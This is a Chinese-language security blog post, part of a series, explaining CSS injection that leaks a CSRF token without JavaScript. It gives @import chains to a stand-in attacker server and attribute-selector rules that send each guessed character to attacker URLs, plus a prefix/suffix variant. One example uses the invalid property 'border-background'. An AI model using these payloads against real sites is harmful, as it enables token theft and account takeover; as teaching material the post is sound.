iT邦幫忙

2023 iThome 鐵人賽

DAY 10
0
Security

從自建漏洞中學習 - 一起填坑吧系列 第 10

CSS 相關的攻擊 (下篇之 2)

  • 分享至 

  • xImage
  •  

CSS 相關的攻擊 (下篇之 2)

接著,我們來看看要如何只加載一次頁面,在不使用 js 的情況下,不斷動態載入新的 style :

秘密武器 @import

在 css file 裡面使用 @import,如以下範例:

@import url(https://your_attack_server.com/start?len=4)

透過 @import 很多個 url,如以下範例:

@import url(https://your_attack_server.com/start?len=1)
@import url(https://your_attack_server.com/start?len=2)
@import url(https://your_attack_server.com/start?len=3)
@import url(https://your_attack_server.com/start?len=4)

以上的範例過程解說:

  • 主要攻擊方式: @import 將從攻擊者接收一些 CSS script,Browser 將載入它。

  • 過程:

    1. 攻擊者將發送的 CSS script 的第一部分是下一個 @import 到攻擊者伺服器。

      Notes: 有趣的是,攻擊者的伺服器還不會回應此 request,因為我們想洩漏一些字符,然後使用有效負載響應此 @import 以洩漏下一個字符。

    2. 當 Browser 收到 response 的時候,就會先載入下面這一段 CSS:

      範例:

      input[name="csrf"][value^="a"] {
          background: url(https://a.your_website.com/leak?q=a)
      }
      
      input[name="csrf"][value^="b"] {
          background: url(https://a.your_website.com/leak?q=b)
      }
      
      //....
      
      input[name="csrf"][value^="z"] {
          background: url(https://b.your_website.com/leak?q=z)
      }
      
    3. 在載入完拿到符合條件的元素後,會發 request 到後端,接著 server 此時才會回傳 https://your_attack_server.com/start?len=2 的 response,內容為拿到的元素 (以下範例假設拿到 a) +其他可能的元素(需要繼續猜測的部分)

      範例:

      input[name="csrf"][value^="aa"] {
          background: url(https://a.your_website.com/leak?q=a)
      }
      
      input[name="csrf"][value^="ab"] {
          background: url(https://a.your_website.com/leak?q=b)
      }
      
      //....
      
      input[name="csrf"][value^="az"] {
          background: url(https://b.your_website.com/leak?q=z)
      }
      

      接著就依照上述的方式循環到拿到完整的目標值。

      不過,上述使用的方式都是一次拿一個,我們可以使用之前介紹的 "^"、"$" 等方式,一次偷兩個來增加效率 XD

      Notes: 但需要注意使用的 attribute 需要是不同的 attribute,避免被覆蓋。

      範例:

      input[value^="0"]{
          background: url(http://localhost:5001/leak?pre=0)
      }
      
      input[value$="1"]{
          border-background: url(http://localhost:5001/leak?post=1)
      }
      

這次的介紹差不多到這啦~ 下次將繼續介紹其他的 css injection 的其他手法 XD


今日小心得

css injection 真的是博大精深,好多範例可以看! 希望我能繼續堅持下去,之後想嘗試寫寫攻擊 script~
接下來的日子...持續學習 + 重訓,真是充實 XD
自律 gogo!


Reference


上一篇
CSS 相關的攻擊 (下篇之 1)
下一篇
CSS 相關的攻擊 (下篇之 3)
系列文
從自建漏洞中學習 - 一起填坑吧30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言